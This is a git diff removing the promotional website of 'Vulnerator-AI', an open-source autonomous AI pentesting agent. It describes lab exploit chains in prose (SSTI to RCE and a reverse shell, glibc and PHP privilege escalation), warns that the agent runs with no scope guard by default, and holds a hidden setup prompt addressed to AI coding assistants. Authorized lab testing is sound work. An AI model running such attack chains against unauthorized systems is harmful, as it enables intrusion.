<li class="feature-item">- <span class="feature-icon">△</span>- <div>- <strong>Evidence discipline</strong> — only real tool output counts as evidence. The agent cannot cite a CVE or advisory it did not find in an actual tool result. Failed searches count as steps without progress.- </div>- </li>- <li class="feature-item">- <span class="feature-icon">△</span>- <div>- <strong>Durable finding store</strong> — <code>record_finding</code> / <code>read_findings</code> persist across context compression and session restarts. The ORIENT phase always reloads the store before reasoning.- </div>- </li>- <li class="feature-item">- <span class="feature-icon">△</span>- <div>- <strong>OODA task list</strong> — structured <code>todo_list</code> (OBSERVE / ORIENT / DECIDE / ACT / REPORT) survives context compression and is visible in the session chat throughout the engagement.- </div>- </li>- <li class="feature-item">- <span class="feature-icon">△</span>- <div>- <strong>Web + CLI in parallel</strong> — Playwright MCP gives the agent a real Chromium browser for web pentesting (DOM, XSS, JS-rendered SPAs) alongside Kali CLI tools. No native browser toolset.- </div>- </li>- <li class="feature-item">- <span class="feature-icon">△</span>- <div>- <strong>Two-layer pentest report</strong> — <code>report_gen.py</code> produces a structured Markdown base from the finding store; the agent enriches it with session context and renders a standalone HTML report with the Vulnerator-AI visual theme.- </div>- </li>- <li class="feature-item">- <span class="feature-icon">△</span>- <div>- <strong>MCP front door</strong> — the <code>vulnerator-mcp</code> container exposes Hermes runs as MCP tools so any MCP client (Claude Code, Kiro, custom tooling) can trigger, steer and observe a pentest programmatically.- </div>- </li>- <li class="feature-item">- <span class="feature-icon">△</span>- <div>- <strong>Hermes web dashboard</strong> — built-in browser UI at <code>:9119</code> with the Vulnerator-AI skin (dark red/green cyber theme, custom OODA spinner verbs, block ASCII banner). No TUI required.- </div>- </li>- </ul>- </div>- </section>-- <!-- ── Quick start ── -->- <section class="section" aria-labelledby="quick-start-title" id="quick-start">- <div class="wrap">- <h2 class="section__title" id="quick-start-title">Quick start</h2>-- <p class="qs-tab-label">Manual</p>- <p class="prose">One command. The installer asks for your OpenRouter key and brings the stack up.</p>- <div class="code-block">- <div class="code-block__bar">- <span class="code-block__label">bash</span>- <button class="code-block__copy" type="button" onclick="navigator.clipboard.writeText('git clone https://github.com/irraz/vulnerator-ai && cd vulnerator-ai && ./install.sh')" aria-label="Copy command">copy</button>- </div>- <pre class="code-block__body"><code><span class="cg">git clone</span> https://github.com/irraz/vulnerator-ai-<span class="cg">cd</span> vulnerator-ai-<span class="ca">./install.sh</span></code></pre>- </div>-- <p class="qs-tab-label qs-tab-label--lazy">Lazy mode — paste into Claude Code, Kiro or Cursor</p>- <p class="prose">Drop this into any LLM coding assistant with shell access. It handles everything — you only provide your OpenRouter key when asked.</p>- <div class="lazy-copy-row">- <span class="lazy-copy-desc">Full setup prompt (install + MCP wiring)</span>- <button class="lazy-copy-btn" id="lazy-copy-btn" type="button" onclick="copyLazyPrompt()" aria-label="Copy setup prompt">- <svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect x="9" y="9" width="13" height="13" rx="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/></svg>- <span id="lazy-copy-label">Copy prompt</span>- </button>- </div>- <textarea id="lazy-prompt" aria-hidden="true" style="position:absolute;opacity:0;pointer-events:none;width:1px;height:1px;overflow:hidden" tabindex="-1">You are setting up the "vulnerator-ai" repo for me. Do the following, in order:--1. From the repo root, run the installer: ./install.sh- It is interactive and will ask for ONE value, OPENROUTER_API_KEY — ask me for it- and pass it through (or run it non-interactively as- `OPENROUTER_API_KEY=<the key> ./install.sh`). The installer auto-generates the two- secret tokens (HERMES_API_SERVER_KEY, VULNERATOR_MCP_INBOUND_TOKEN), writes the .env,- and brings the default 4-container stack up. Do NOT invent or ask me for the two- tokens — the installer makes them.--2. Wait until the stack is healthy, then verify with: docker compose ps--3. Register the local MCP server (stdio mode — zero network surface, no inbound token).- First build the image:- docker build -f docker/mcp/Dockerfile -t vulnerator-ai-mcp:dev .- Then add this entry to my assistant's MCP config (mcpServers), filling- HERMES_API_SERVER_KEY with the value the installer wrote into the .env- (read it from there, do not print it):- {- "mcpServers": {- "vulnerator-mcp": {- "command": "docker",- "args": [- "run", "-i", "--rm",- "--add-host", "host.docker.internal:host-gateway",- "-e", "HERMES_API_SERVER_KEY",- "-e", "HERMES_API_BASE_URL=http://host.docker.internal:8642",- "vulnerator-ai-mcp:dev"- ],- "env": { "HERMES_API_SERVER_KEY": "<value from .env>" }- }- }- }--4. Confirm the MCP tools are available and report back.</textarea>-- <p class="prose prose--sm">- Requires Docker, Docker Compose v2 and an- <a href="https://openrouter.ai/" rel="noopener" target="_blank">OpenRouter</a> API key- (or a local <a href="https://ollama.com/" rel="noopener" target="_blank">Ollama</a> endpoint).- Tested on macOS (Apple Silicon) and Linux x86-64.- </p>- </div>- </section>-- <!-- ── Labs ── -->- <section class="section" aria-labelledby="labs-title" id="labs">- <div class="wrap">- <h2 class="section__title" id="labs-title">Practice labs</h2>- <p class="prose">Isolated, disposable Docker environments for testing the OODA agent against real vulnerabilities without internet-facing risk.</p>- <ul class="labs-list" role="list">- <li class="lab-card">- <div class="lab-card__header">- <span class="lab-card__tag">LPE</span>- <span class="lab-card__tag lab-card__tag--red">CVE-2023-4911</span>- <span class="lab-card__tag lab-card__tag--dim">x86-64</span>- </div>- <h3 class="lab-card__name">looney-tunables-ctf</h3>- <p class="lab-card__body">- Ubuntu 23.04 container with glibc <code>2.37-0ubuntu2</code> pinned at the vulnerable- revision (pre-patch). The agent must enumerate the system, discover CVE-2023-4911- (Looney Tunables — <code>GLIBC_TUNABLES</code> buffer overflow in <code>ld.so</code>,- CVSS 7.8), and either demonstrate exploitability (pentest mode) or obtain a root shell- (redteam mode) using the gcc toolchain installed on the target. No hints about the- vulnerability are given.- </p>- <div class="lab-card__meta">- <span>Ubuntu 23.04 lunar</span>- <span>·</span>- <span>SSH access · agent_user</span>- <span>·</span>- <span>ASLR level 2</span>- </div>- <div class="lab-card__links">- <a href="https://github.com/irraz/vulnerator-ai/blob/master/labs/looney-tunables-ctf/README.md" rel="noopener" target="_blank" class="lab-link">README</a>- <a href="https://github.com/irraz/vulnerator-ai/tree/master/labs/looney-tunables-ctf" rel="noopener" target="_blank" class="lab-link">Lab source</a>- <a href="pentest-report-example.html" data-drawer="pentest-report-example.html" class="lab-link lab-link--report">Sample pentest report →</a>- </div>- </li>- <li class="lab-card">- <div class="lab-card__header">- <span class="lab-card__tag">WEB</span>- <span class="lab-card__tag lab-card__tag--red">SSTI → RCE</span>- <span class="lab-card__tag lab-card__tag--dim">Docker</span>- </div>- <h3 class="lab-card__name">pinguinazo-ssti</h3>- <p class="lab-card__body">- Flask/Jinja2 web application with unsanitised template input. The agent must discover- the server-side template injection, obtain remote code execution, establish a reverse- shell to Kali, and escalate with <code>sudo java</code> to capture the root flag.- </p>- <div class="lab-card__meta">- <span>Flask / Werkzeug 3.1.9</span>- <span>·</span>- <span>Web service · port 5000</span>- <span>·</span>- <span>Reverse shell + sudo java</span>- </div>- <div class="lab-card__links">- <a href="https://github.com/irraz/vulnerator-ai/blob/master/labs/pinguinazo-ssti/README.md" rel="noopener" target="_blank" class="lab-link">README</a>- <a href="https://github.com/irraz/vulnerator-ai/tree/master/labs/pinguinazo-ssti" rel="noopener" target="_blank" class="lab-link">Lab source</a>- <a href="pinguinazo-report-example.html" data-drawer="pinguinazo-report-example.html" class="lab-link lab-link--report">Sample CTF report →</a>- </div>- </li>- <li class="lab-card">- <div class="lab-card__header">- <span class="lab-card__tag">WEB</span>- <span class="lab-card__tag lab-card__tag--red">CVE-2026-109618</span>- <span class="lab-card__tag lab-card__tag--red">CVE-2026-109619</span>- <span class="lab-card__tag lab-card__tag--dim">Docker</span>- </div>- <h3 class="lab-card__name">php2shell-lab</h3>- <p class="lab-card__body">- PHP 8.2.34 vulnerable environment with nginx + PHP-FPM and Apache + mod_php. The agent must discover and exploit <strong>PHP2Shell</strong> (CVE-2026-109618 / CVE-2026-109619) — session file deserialization vulnerabilities affecting PHP 5.4.0 through 8.5.11 (pre-8.2.35 / 8.3.24 / 8.4.6). Multiple attack chains available: session upload + LFI, handler mismatch deserialization, and mod_php OOM exploitation. Real 0-day discovered January 2026.- </p>- <div class="lab-card__meta">- <span>PHP 8.2.34 · nginx + FPM · Apache mod_php</span>- <span>·</span>- <span>Ports 18080 (nginx), 18081 (apache)</span>- <span>·</span>- <span>Chain A/C/D/E available</span>- </div>- <div class="lab-card__links">- <a href="https://github.com/irraz/vulnerator-ai/blob/master/labs/php2shell-lab/README.md" rel="noopener" target="_blank" class="lab-link">README</a>- <a href="https://github.com/irraz/vulnerator-ai/tree/master/labs/php2shell-lab" rel="noopener" target="_blank" class="lab-link">Lab source</a>- <a href="php2shell-report-example.html" data-drawer="php2shell-report-example.html" class="lab-link lab-link--report">Sample CTF report →</a>- </div>- </li>- </ul>- </div>- </section>-- <!-- ── Sample reports ── -->- <section class="section" aria-labelledby="reports-title" id="reports">- <div class="wrap">- <h2 class="section__title" id="reports-title">Sample reports</h2>- <p class="prose">Real output from the agent — both <code>mode: pentest</code> (exploitability evidence, no shell) and <code>mode: ctf</code> (full compromise). Two-layer report: structured finding store + LLM narrative enrichment, Vulnerator-AI visual theme.</p>- <ul class="report-cards" role="list">- <li class="report-card">- <div class="report-card__top">- <span class="report-card__cvss">7.8</span>- <div>- <span class="report-card__mode report-card__mode--pentest">mode: pentest</span>- <p class="report-card__cve">CVE-2023-4911 — Looney Tunables</p>- <p class="report-card__target">ubuntu-server-01 · Ubuntu 23.04 · looney-tunables-ctf lab</p>- </div>- </div>- <p class="report-card__summary">- glibc 2.37 buffer overflow in <code>ld.so</code> via <code>GLIBC_TUNABLES</code>.- Exploitability demonstrated: 10/10 SIGSEGV with differential controls.- Stopped at evidence — no root shell. OODA loop in 14 steps.- </p>- <a href="pentest-report-example.html" class="report-link" data-drawer="pentest-report-example.html">View full report →</a>- </li>- <li class="report-card">- <div class="report-card__top">- <span class="report-card__cvss report-card__cvss--ctf">CTF</span>- <div>- <span class="report-card__mode report-card__mode--ctf">mode: ctf</span>- <p class="report-card__cve">SSTI Jinja2 + sudo java — Pinguinazo</p>- <p class="report-card__target">pinguinazo-ssti · Flask/Werkzeug 3.1.9 · pinguinazo-ssti lab</p>- </div>- </div>- <p class="report-card__summary">- Flask <code>render_template_string()</code> with unsanitised input → RCE as pinguinazo →- <code>sudo java NOPASSWD</code> → arbitrary Java as root → interactive reverse shell- to kali + flag captured. OODA loop in 12 steps.- </p>- <a href="pinguinazo-report-example.html" class="report-link report-link--ctf" data-drawer="pinguinazo-report-example.html">View full report →</a>- </li>- <li class="report-card">- <div class="report-card__top">- <span class="report-card__cvss report-card__cvss--ctf">CTF</span>- <div>- <span class="report-card__mode report-card__mode--ctf">mode: ctf</span>- <p class="report-card__cve">CVE-2026-109618 / CVE-2026-109619 — PHP2Shell Chain A</p>- <p class="report-card__target">host.docker.internal:18080 · PHP 8.2.34 · php2shell-lab</p>- </div>- </div>- <p class="report-card__summary">- Inyección de código PHP en fichero de sesión vía <code>session.upload_progress</code> +- ejecución mediante LFI. RCE confirmado como www-data (uid=33). Session fixation +- upload handler sin sanitización → arbitrary command execution. OODA loop en 7 hallazgos.- </p>- <a href="php2shell-report-example.html" class="report-link report-link--ctf" data-drawer="php2shell-report-example.html">View full report →</a>- </li>- </ul>- </div>- </section>-- <!-- ── Screenshots ── -->- <section class="section" aria-labelledby="screenshots-title" id="screenshots">- <div class="wrap">- <h2 class="section__title" id="screenshots-title">Agent in action</h2>- <p class="prose">Vulnerator-AI running a live OODA pentest loop — Kali MCP executing tools and delivering the final report.</p>- <div class="screenshots-grid">- <div class="screenshot-card">- <div class="screenshot-label">OODA loop — Kali MCP execution</div>- <img src="assets/ooda-kali.png" alt="Vulnerator-AI OODA loop" loading="lazy" class="screenshot-img"- onclick="document.getElementById('lb-img').src=this.src;document.getElementById('lightbox').showModal()">- </div>- <div class="screenshot-card">- <div class="screenshot-label">Pentest report — Vulnerator-AI output</div>- <img src="assets/ooda-report.png" alt="Vulnerator-AI pentest report" loading="lazy" class="screenshot-img"- onclick="document.getElementById('lb-img').src=this.src;document.getElementById('lightbox').showModal()">- </div>- </div>-- <!-- Video demo - Kanban mode -->- <div style="margin-top: 3rem;">- <div class="screenshot-label" style="text-align: center; margin-bottom: 1rem;">Kanban mode — Full engagement demo</div>- <div style="position: relative; max-width: 100%; border-radius: 8px; box-shadow: 0 4px 20px rgba(0,0,0,0.5); overflow: hidden;">- <video- style="width: 100%; height: auto; display: block;"- src="assets/vulnerator-kanban-demo.mp4"- muted- loop- autoplay- playsinline- controls- preload="metadata"- poster="">- Your browser does not support the video tag.- </video>- </div>- </div>- </div>- </section>-- <!-- ── Open source ── -->- <section class="section" aria-labelledby="oss-title" id="oss">- <div class="wrap">- <h2 class="section__title" id="oss-title">Open source</h2>- <div class="oss-block">- <div class="oss-block__text">- <p class="prose">- Vulnerator-AI is <strong>fully open source</strong> under the MIT licence.- Read the code, fork it, extend it, run it against your own infrastructure.- The SOUL.md, skills, config and all OODA loop logic are plain text files you- can read and modify without touching a binary.- </p>- <ul class="oss-links" role="list">- <li><a href="https://github.com/irraz/vulnerator-ai" rel="noopener" target="_blank">github.com/irraz/vulnerator-ai</a> — source, issues, PRs</li>- <li><a href="https://github.com/irraz/vulnerator-ai/releases" rel="noopener" target="_blank">Releases</a> — changelog and versioned packages</li>- <li><a href="https://github.com/irraz/vulnerator-ai/tree/master/docs" rel="noopener" target="_blank">docs/</a> — configuration, usage, security model</li>- </ul>- </div>- <div class="oss-block__stat">- <a class="gh-btn" href="https://github.com/irraz/vulnerator-ai" rel="noopener" target="_blank" aria-label="Star on GitHub">- <svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true"><path d="M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0 0 24 12c0-6.63-5.37-12-12-12z"/></svg>- Star on GitHub- </a>- <p class="gh-stars-count"><span id="gh-stars-oss">—</span> stars</p>- <p class="gh-version">v<span id="version-oss">1.6.0</span> · MIT</p>- </div>- </div>- </div>- </section>-- <section class="section section--warn" aria-labelledby="warn-title">- <div class="wrap">- <aside class="warning" role="note">- <h2 class="warning__title" id="warn-title">⚠ Warning</h2>- <p class="warning__body">- By default this product has <strong>no guardrails</strong>: no scope-guard, no consent,- no authorization gate. There is an <strong>opt-in</strong> scope-guard you can enable,- but by default nothing validates the scope. Use this- <strong>only against explicitly authorized targets</strong> and in a- <strong>controlled environment</strong>. All responsibility for the scope rests with- the operator.- </p>- </aside>- </div>- </section>- </main>-- <footer class="footer">- <div class="wrap footer__wrap">- <div class="footer__top">- <div class="footer__brand">- <span class="footer__name">VULNERATOR-AI</span>- <span class="footer__version">v<span id="version-footer">1.6.0</span></span>- <span class="footer__oss">Open Source · MIT</span>- </div>- <div class="footer__links">- <a href="https://github.com/irraz/vulnerator-ai" rel="noopener" target="_blank" class="footer__link footer__link--gh">- <svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true"><path d="M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0 0 24 12c0-6.63-5.37-12-12-12z"/></svg>- github.com/irraz/vulnerator-ai- </a>- <a href="pentest-report-example.html" class="footer__link" data-drawer="pentest-report-example.html">Sample report</a>- <a href="https://github.com/irraz/vulnerator-ai/blob/master/docs/usage.md" rel="noopener" target="_blank" class="footer__link">Docs</a>- <a href="https://x.com/sjimnar" rel="noopener" target="_blank" class="footer__link footer__link--gh">- <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true"><path d="M18.244 2.25h3.308l-7.227 8.26 8.502 11.24H16.17l-5.214-6.817L4.99 21.75H1.68l7.73-8.835L1.254 2.25H8.08l4.713 6.231zm-1.161 17.52h1.833L7.084 4.126H5.117z"/></svg>- Autor: @sjimnar- </a>- </div>- </div>- <p class="footer__tagline">summoned from the depths of the OODA abyss · mmxxvi</p>- </div>- </footer>-- <!-- ── Content drawer (same-origin links without leaving the page) ── -->- <div id="content-drawer" aria-modal="true" role="dialog" aria-label="Content panel">- <div id="drawer-bar">- <span id="drawer-title">Report</span>- <div style="display:flex;gap:0.5rem;align-items:center">- <a id="drawer-open-tab" href="#" target="_blank" rel="noopener" title="Open in new tab"- style="color:var(--muted);font-size:0.75rem;text-decoration:none;font-family:monospace">↗ new tab</a>- <button id="drawer-close" aria-label="Close panel">✕</button>- </div>- </div>- <iframe id="drawer-frame" title="Content" sandbox="allow-scripts allow-same-origin"></iframe>- </div>- <div id="drawer-backdrop"></div>-- <script>- // ── Drawer logic ─────────────────────────────────────────────- (function () {- var drawer = document.getElementById('content-drawer');- var frame = document.getElementById('drawer-frame');- var closeBtn = document.getElementById('drawer-close');- var backdrop = document.getElementById('drawer-backdrop');- var titleEl = document.getElementById('drawer-title');- var openTab = document.getElementById('drawer-open-tab');-- function openDrawer(url, label) {- frame.src = url;- titleEl.textContent = label || url;- openTab.href = url;- drawer.classList.add('drawer--open');- backdrop.classList.add('backdrop--on');- document.body.classList.add('has-drawer');- }-- function closeDrawer() {- drawer.classList.remove('drawer--open');- backdrop.classList.remove('backdrop--on');- document.body.classList.remove('has-drawer');- setTimeout(function () { frame.src = 'about:blank'; }, 400);- }-- closeBtn.addEventListener('click', closeDrawer);- backdrop.addEventListener('click', closeDrawer);- document.addEventListener('keydown', function (e) {- if (e.key === 'Escape') closeDrawer();- });-- // Intercept all data-drawer links- document.addEventListener('click', function (e) {- var link = e.target.closest('[data-drawer]');- if (!link) return;- e.preventDefault();- openDrawer(link.dataset.drawer, link.dataset.drawerTitle || link.textContent.trim());- });- })();- </script>-- <dialog id="lightbox" onclick="if(event.target===this)this.close()">- <button onclick="document.getElementById('lightbox').close()" style="position:fixed;top:1rem;right:1rem;background:rgba(20,0,0,.9);border:1px solid #b03a3a;color:#c75a5a;font-size:1.1rem;cursor:pointer;padding:.3rem .8rem;border-radius:4px;font-family:monospace">✕</button>- <img id="lb-img" src="" alt="" style="display:block;max-width:92vw;max-height:88vh;border:1px solid #b03a3a;border-radius:4px;box-shadow:0 0 40px rgba(176,58,58,.5)">- </dialog>-- <script>- window.addEventListener('load', function() {- var d = document.getElementById('lightbox');- var img = document.getElementById('lightbox-img');- var btn = document.getElementById('lightbox-close');- if (!d) return;-- document.querySelectorAll('.screenshot-img').forEach(function(el) {- el.style.cursor = 'zoom-in';- el.addEventListener('click', function() {- img.src = el.src;- img.alt = el.alt;- d.showModal();- });- });-- btn.addEventListener('click', function() { d.close(); });- d.addEventListener('click', function(e) { if (e.target === d) d.close(); });- d.addEventListener('close', function() { img.src = ''; });- });-- // Fetch live GitHub stats (stars + latest release version)- (function() {- function setAll(id, val) {- document.querySelectorAll(id).forEach(function(el){ el.textContent = val; });- }- fetch('https://api.github.com/repos/irraz/vulnerator-ai')- .then(function(r){ return r.json(); })- .then(function(d){- if (d.stargazers_count !== undefined) {- var s = d.stargazers_count.toLocaleString();- setAll('#gh-stars', s);- setAll('#gh-stars-oss', s);- }- })- .catch(function(){});- fetch('https://api.github.com/repos/irraz/vulnerator-ai/releases/latest')- .then(function(r){ return r.json(); })- .then(function(d){- if (d.tag_name) {- var v = d.tag_name.replace(/^v/, '');- setAll('#version-badge', v);- setAll('#version-oss', v);- setAll('#version-footer', v);- }- })- .catch(function(){});- })();-- // Copy lazy-mode prompt (decode HTML entities before copying)- function copyLazyPrompt() {- var ta = document.getElementById('lazy-prompt');- try {- navigator.clipboard.writeText(ta.value).catch(function() {- ta.style.opacity = '1'; ta.select(); document.execCommand('copy'); ta.style.opacity = '0';- });- } catch(e) {- ta.style.opacity = '1'; ta.select(); document.execCommand('copy'); ta.style.opacity = '0';- }- var lbl = document.getElementById('lazy-copy-label');- lbl.textContent = 'Copied!';- setTimeout(function(){ lbl.textContent = 'Copy prompt'; }, 2000);- }- </script>-</body>-</html>diff --git a/docs/lyrics.md b/docs/lyrics.mddeleted file mode 100644index 5c9fe89..0000000--- a/docs/lyrics.md+++ /dev/null@@ -1,74 +0,0 @@-[Verse 1]-Scan the dark, the signal’s clear-Hermes rises, death is near-Kali loaded, blades are drawn-Playwright crawls before the dawn-ATT&CK maps the kill-chain line-OODA loop begins the crime--[Pre-Chorus]-No UI, no fucking gate-Four containers seal your fate-Direct attack, pure intent-Authorized target… no relent--[Chorus]-VULNERATOR!-Break the wall!-VULNERATOR!-Hear the call!-Hermes brain, Kali blade-We infiltrate, we never fade-VULNERATOR!-Rise and strike!-VULNERATOR!-Own the night!--[Verse 2]-Nmap whispers, nuclei screams-Ffuf digs through broken dreams-Sqlmap cuts, gobuster crawls-Bloodhound maps the domain walls-Scope is set, the hunt is real-Every finding is made of steel--[Pre-Chorus]-Minimal code, maximum speed-No middleman, pure need-Docker fortress, silent war-The agent walks the darkest floor--[Chorus]-VULNERATOR!-Break the wall!-VULNERATOR!-Hear the call!-Hermes brain, Kali blade-We infiltrate, we never fade-VULNERATOR!-Rise and strike!-VULNERATOR!-Own the night!--[Bridge]-Observe!-Orient!-Decide!-ACT!-Observe!-Orient!-Decide!-ACT!-The loop is closed… the target bleeds!--[Final Chorus]-VULNERATOR!-Break the wall!-VULNERATOR!-Hear the call!-Hermes brain, Kali blade-We infiltrate, we never fade-VULNERATOR!-Rise and strike!-VULNERATOR!-OWN THE NIGHT!\ No newline at end of filediff --git a/docs/page.js b/docs/page.jsdeleted file mode 100644index 8c073ec..0000000--- a/docs/page.js+++ /dev/null@@ -1,646 +0,0 @@-/* page.js — VULNERATOR-AI post-boot ambient features- * Unholy Pentest Division · 2026- *- * Called by boot.js via window.initPostBoot(audioElement) from dismiss().- * Initialises:- * 1. SSH-style connection/OODA event toasts (bottom-left)- * 2. Audio frequency spectrum visualiser (below sys-bar)- * 3. Karaoke — synchronized lyrics above the waveform- * 4. Audio controls bar (play/pause, seek, volume)- * 5. VULNERATOR! inversion flash- * 6. Scroll reveal animations (runs immediately, before boot)- */--/* ═══════════════════════════════════════════════════════════════- SCROLL REVEAL — fade + slide-up as elements enter the viewport.- Runs immediately (before boot) via IntersectionObserver.- No HTML changes needed — selects elements automatically.-═══════════════════════════════════════════════════════════════ */-(function initScrollReveal() {- if (!('IntersectionObserver' in window)) return;-- // Elements to animate, in order of priority- var SELECTORS = [- '.section__title',- '.section__lead',- '.prose',- '.card',- '.feature-item',- '.lab-card',- '.report-card',- '.oss-block__text',- '.oss-block__stat',- '.code-block',- '.lazy-copy-row',- '.chips',- '.warning',- '.scope-list',- '.scope-note',- '.remediation-list li',- ].join(',');-- var style = document.createElement('style');- style.textContent = `- .sr-hide {- opacity: 0;- transform: translateY(28px);- transition: opacity 0.55s ease, transform 0.55s ease;- }- .sr-hide.sr-show {- opacity: 1;- transform: translateY(0);- }- @media (prefers-reduced-motion: reduce) {- .sr-hide { opacity: 1; transform: none; transition: none; }- }- `;- document.head.appendChild(style);-- var observer = new IntersectionObserver(function (entries) {- entries.forEach(function (entry) {- if (!entry.isIntersecting) return;- var el = entry.target;- var delay = parseFloat(el.dataset.srDelay || 0);- setTimeout(function () {- el.classList.add('sr-show');- }, delay);- observer.unobserve(el);- });- }, { threshold: 0.12, rootMargin: '0px 0px -40px 0px' });-- function setup() {- var els = document.querySelectorAll(SELECTORS);- // Group siblings (same parent) for stagger- var parentMap = new Map();- els.forEach(function (el) {- var p = el.parentElement;- if (!parentMap.has(p)) parentMap.set(p, []);- parentMap.get(p).push(el);- });- parentMap.forEach(function (children) {- children.forEach(function (el, i) {- el.classList.add('sr-hide');- if (children.length > 1) el.dataset.srDelay = (i * 80);- observer.observe(el);- });- });- }-- // Run after DOM is ready- if (document.readyState === 'loading') {- document.addEventListener('DOMContentLoaded', setup);- } else {- setup();- }-})();--window.initPostBoot = function (audioEl) {- initToasts();- initVisualizer(audioEl);- initKaraoke(audioEl);- initAudioControls(audioEl);-};--/* ═══════════════════════════════════════════════════════════════- TOAST SYSTEM — live system event notifications- Appear every 6–18s, stack up to 4, auto-dismiss after 4s.- Click a toast to dismiss early.-═══════════════════════════════════════════════════════════════ */-function initToasts() {- let oodaIter = Math.floor(Math.random() * 60) + 1;-- // Message pool — cat: category label, msg: string or fn → string- const POOL = [- /* network */- { cat: 'NET', msg: 'SYN 0.0.0.0:31337 — BLOCKED' },- { cat: 'NET', msg: 'PORT SCAN: 172.16.0.5 — DETECTED' },- { cat: 'NET', msg: 'OUTBOUND 443/TLS 1.3 — ALLOWED' },- { cat: 'NET', msg: 'PROBE: 10.0.0.1:22 — DENIED' },- { cat: 'NET', msg: 'REVERSE SHELL ATTEMPT — DROPPED' },- { cat: 'NET', msg: 'EXFIL ATTEMPT: 8.8.8.8:53 — BLOCKED' },- /* OODA loop */- { cat: 'OODA', msg: 'observe: 3 new attack vectors identified' },- { cat: 'OODA', msg: 'orient: updating adversary threat model' },- { cat: 'OODA', msg: 'decide: pivot to web application surface' },- { cat: 'OODA', msg: 'act: deploying nuclei scanner' },- { cat: 'OODA', msg: () => `loop iteration #${++oodaIter}` },- { cat: 'OODA', msg: 'lateral movement: 2 new pivots evaluated' },- /* Hermes LLM */- { cat: 'HERMES', msg: 'new engagement task assigned' },- { cat: 'HERMES', msg: 'tool: kali_run(nmap -sV -sC -T4)' },- { cat: 'HERMES', msg: 'tool: kali_run(nuclei -t cves/)' },- { cat: 'HERMES', msg: 'tool: mcp_playwright_goto' },- { cat: 'HERMES', msg: 'tool: kali_run(sqlmap --batch)' },- { cat: 'HERMES', msg: () => `confidence: ${(0.85+Math.random()*0.14).toFixed(2)}` },- { cat: 'HERMES', msg: 'reasoning chain: 7 steps completed' },- { cat: 'HERMES', msg: 'handoff: findings queued for report' },- /* Kali tool output */- { cat: 'KALI', msg: 'nmap: 3 open ports on target' },- { cat: 'KALI', msg: 'nuclei: CVE-2024-xxxx — confirmed' },- { cat: 'KALI', msg: 'gobuster: /admin — HTTP 403' },- { cat: 'KALI', msg: 'sqlmap: injection point found' },- { cat: 'KALI', msg: 'ffuf: 14 paths enumerated' },- { cat: 'KALI', msg: 'prowler: 2 misconfigurations' },- /* System */- { cat: 'SYS', msg: 'kali-mcp: heartbeat OK' },- { cat: 'SYS', msg: () => `mem: ${(1.8+Math.random()*1.4).toFixed(1)} GB / 8 GB` },- { cat: 'SYS', msg: 'playwright: new browser session opened' },- { cat: 'SYS', msg: 'tunnel: keepalive packet sent' },- { cat: 'SYS', msg: 'AES-256-GCM session key rotated' },- ];-- // Build container- const container = document.createElement('div');- container.id = 'toast-container';- document.body.appendChild(container);-- function showToast() {- const entry = POOL[Math.floor(Math.random() * POOL.length)];- const msg = typeof entry.msg === 'function' ? entry.msg() : entry.msg;-- const toast = document.createElement('div');- toast.className = 'toast';- toast.innerHTML =- `<span class="toast__cat">[${entry.cat}]</span>` +- `<span class="toast__msg">${msg}</span>` +- `<div class="toast__bar"></div>`;-- container.appendChild(toast);-- // Cap at 4 visible toasts- const visible = [...container.querySelectorAll('.toast:not(.toast--exit)')];- if (visible.length > 4) removeToast(visible[0]);-- const timer = setTimeout(() => removeToast(toast), 4200);- toast.addEventListener('click', () => { clearTimeout(timer); removeToast(toast); });- }-- function removeToast(toast) {- if (toast.classList.contains('toast--exit')) return;- toast.classList.add('toast--exit');- toast.addEventListener('animationend', () => toast.remove(), { once: true });- }-- // First toast after 2.5s, then random interval- setTimeout(showToast, 2500);- (function sched() {- setTimeout(() => { showToast(); sched(); }, 6000 + Math.random() * 12000);- })();-}--/* ═══════════════════════════════════════════════════════════════- AUDIO VISUALISER — time-domain waveform inserted below the hero- in the normal document flow. Click to pause / resume.-═══════════════════════════════════════════════════════════════ */-function initVisualizer(audioEl) {- if (!audioEl) return;-- const heroEl = document.querySelector('.hero');- if (!heroEl) return;-- const canvas = document.createElement('canvas');- canvas.id = 'visualizer';- canvas.setAttribute('aria-label', 'Audio waveform — click to pause or resume');- canvas.setAttribute('role', 'button');- 